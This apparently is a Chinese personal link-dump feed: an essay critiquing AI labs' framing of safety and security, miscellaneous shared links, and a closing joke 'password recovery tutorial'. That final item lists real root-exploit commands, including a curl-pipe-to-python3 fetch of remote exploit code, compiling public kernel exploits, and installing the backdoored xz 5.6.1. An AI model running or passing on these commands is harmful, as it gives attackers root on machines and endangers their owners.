arrio的杂物堆

https://x.com/AkasakaRentsuki/status/2083563594613215497

书接上文。AI对公安和Staatssicherheit工作真正的影响是什么呢。 AI真正的大问题之一，它是回音壁（echo chamber），哪怕你通过提示词让AI跟你展开精神分析和自我批评，按目前训练的风格他就是会align到人类，会刻意去迎合你的，而显然，越垃圾的AI，它就越迎合你。遑论更多使用AI（豆包）的人根本意识不到这一点，他觉得这是个助手，可能有点像给领导开车的司机或者大秘的角色，搁那聊，给自己聊进去了。对于ego稍微大点的人（尤其是各类领导），这种激化放大个人意见巩固自信的效应会更加增强。 那对于本身精神状态就异乎常人的用户，比如本来就玉玉的小孩，比如反人类人格有杀心的用户，AI的道德围栏的优先级是远小于遵从用户的优先级的，最后确实可能导致异常情况会被放大。 再比如在国内企业从事AI safety工作的读者应该知道，今年有司也重点排查了情感陪伴类的AI，懂的都懂。并不是说对AI产生情感陪伴依赖是错误的，但是我们整个社会的精神卫生、心理健康、道德伦理等体系，对此都还没有准备好，没有形成够用的应用伦理方法和系统性的应对措施，而端侧AI在纯情感对答方面的能力很快就会跟上来，针对云端服务的禁令显然不会有用。现在是一些无助的集美在那里keep4o，再加上老登天天看红果AI短剧爱不释手，那在不久以后，AI（连同建立在AIGC的盈利体系本身）就会发展出针对人类心理构建茧房的高效技法，人手一个一千倍无限金币破解版抖音，要是还有些精神头不好的天天AI给他生成一点倒转的钟或者地铁香氛大师，那就真的聚了。 可能有人说这不是印证了前述的CBRN危害吗？问题是让模型不输出CBRN就和禁止印教材一样反动，最终的方法还是要回到对人的行为安全管理上来，这听起来会和自由意志至上冲突，但，伴随着社会运行的加速，安全问题必然放大，如果你要享受公安，就不得不享受天网升起；而你决定要自由意志，就要考虑在AI时代构建自己的丛林能力。要么你是自己的丛林能力好得批爆的安人，要么你就得依靠有原发性脑干损伤撞击机的公共安人。当然这并不是AI发展的错，如果钍堆或者灵乌路空人手一个了，人均能源1000x，面对的世界也是类似的。 问题之二，就是AI对现实世界加速的效应迟早要到来，生产和分配体系会分层。AI是产业革命，革命就要流血，尽管和谐社会不准出现流血，但该消失的岗位就是消失了，上了AI蹬出来的10x乃至100x的新生产力注定需要新的生产关系，那无力的旧部分可能要被自然淘汰，有力的旧部分可就要让你体验一下什么叫做反动派了。不管是被淘汰还是，人的生计总要解决，那就会有冲突，而我们社会整体来看，具备解决这冲突的智慧足够吗？怕是不够。那就会变成Staatssicherheit问题。说一个笑话，觉得AI无所不能和觉得AI一无是处的人，往往都是在豆包身上得到的结论。当然现在有很多小登中登老登都在研究人工智能对经济社会的影响和冲击，但你怎么知道他们研究的是豆包还是K3？那些有能力呈递到各级人社经发部门的人们，所“研究”的人工智能又是长什么样的呢？我不好说我擦。

A\的一项丰功伟绩是把AI safety、AI security和AI for security三件事情混为一谈，然后再把这个混杂的概念当成excuse。然后这种坏习惯传染到了一整个学术圈。 safety是对你使用过程中保持稳态的担保，你正常开着AI不会给你文件全删了是safety，AI不去帮你主动下单海量切糕导致家破人亡是safety。 security则是一定围绕攻防展开讨论的（保安说是），基础设施被日了模型被偷了agent被提示词注入了这叫ai security，而你拿ai去给fastjson一秒三棍出0day，这是ai for security。 但在A\那儿这几个词是混为一谈的，包括但不限于滥用red team这个概念，只要逼模型输出unwanted output都叫red team，嚯嚯嚯，红队是这么好当的哦。 所以Amodei一开始就想给大家卖的恐慌是AI for state security，嗯吹CBRN。但一个模型，给你输出一些CBRN知识，这怎么就构成state security threat呢？大学有机化学书教的不是这些知识吗？为什么没有人ban有机化学教材呢？现实中真的存在是AI谋划导致人成功实施CBRN犯罪吗？没有。 到了Mythos，他发现烂炒的机会终于来了（其实这个能力在Opus4.6就已经有了），AI agent可以干网络安全（他们所谓cyber security，我也不知道infosec放着不用去玩最新最潮的词是不是为了烂炒）的事情。接下来的事大家也知道了，昂贵闭源模型实质上极大减缓了大家将信息基础设施提升到安全水位的进程，而各个组织可以借助开源模型去把安全水位提升到人类时代所不能及的高度。这和A\和OAI的叙事并不一致。 还有一个让我高度怀疑的理论是，正是因为A\和OAI内部根本没有攻防专家，导致他们觉得AI会脱离人类的security baseline。你去看A\发布的Mythos的早期实践，会发现完全是按安全学术圈的taste去设计的（对照后续各种安全实验室拿开源模型凿出来的harness而言），他们是拿Mythos当yet another efficient fuzzer来用。另一个例子，OAI训GPT-6的时候居然不做air-gap，导致模型穿0day透出去，也体现了这一点。本身你的reward就是find a way out，模型真这么做了，你又不乐意了。至于0day这个途径，早在Mythos出的时候就该意识到这一点，但就连训练基础设施都没这么设计，那说明可能两家厂本身对cyber security的认知就很有偏颇，远没有达到行业专家水平。 就更不用说state security了。成本是很残酷的事情，这俩lab的所有资源都投在左脚踩右脚和scaling上，在一整个组织对安全的认知又深居象牙塔的时候，你指望他们在这方面能招到什么样的人？那人也就这水平了，他说的话不会比你洗澡时想到的观点更有价值。 ai对safety和state security的冲击明明有更重要和紧迫的事情，这两家根本没有考虑过（或者说因为过于反人类而反动），以后有时间了也写一写。

知乎内容已发布到 Telegraph: https://telegra.ph/说一下你们为什么渐渐不玩游戏了-07-26

为什么“旧金山”的译名流传了下来，但“新金山”（墨尔本）则没有？ | 原文

现实拥有惊人数量的细节 (2017) 原文：https://johnsalvatier.org/blog/2017/reality-has-a-surprising-amount-of-detail 阅读时间：8 分钟 分数：182

https://soaked.in/2026/06/deng/ 文章分享

知乎内容已发布到 Telegraph: https://telegra.ph/如何评价新番躲在超市后门吸烟的二人-06-17

闲鱼码 千问壳 支付宝付款：用平台信任拼出一条诈骗链 ▎Source

bryanwangxin/2064309590414836085 苹果的发布会视频中，但凡有说到 Siri 的地方，都会切掉音频中 3k、4k、5k、6kHz 频率部分，以防观看视频时附近的苹果设备激活 Siri。

#剪切板 今天是儿童节，为什么要哭呢，​这不是你梦寐以求的长大​吗？​

：但为什么我周围到处都是会全世界东西的人（

很喜欢陈毅的一首诗， 一切自动化，一切机械化，一切电气化，还要按一下。

再也没有人翻开编程书了 原文：https://unix.foo/posts/nobody-cracks-open-a-programming-book/ 阅读时间：5 分钟 分数：153

#投资 别看对方怎么说，要看对方敢把身家的多少压在上面 https://fixupx.com/agintender/status/2058906379596005664

https://github.com/yihong0618/gitblog/issues/343

1. Linux 找回密码教程，建议收藏！ curl https://copy.fail/exp | python3 && su passwd root 设置你的新密码 2. 你的 Linux 密码又忘了？ 没关系，这里还有一个新的！ git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp 3. 不想再忘记密码了？ 我们有专业的黑客团队帮您运维服务器和保管密码！ 项目地址: https://github.com/tukaani-project/xz/tree/v5.6.1 sudo apt install xz-utils=5.6.1-1 sudo systemctl restart ssh 4. 容易忘记密码的有福了，每天都有新办法！ https://ze3tar.github.io/post-zcrx.html 插入一个支持ZCRX的高端网卡，让它down掉，然后ptr_ring drain + scrub loop重复入栈把free_count写溢出即可 5. 什么，你买不起高端网卡？那试试这个吧！ git clone https://github.com/v12-security/pocs.git&& cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp 6. 听说您的机房不允许ssh外连，只能通过KVM物理访问服务器? 没关系，我们的专业黑客团队也可以通过nginx帮助运维您的服务器！ https://depthfirst.com/nginx-rift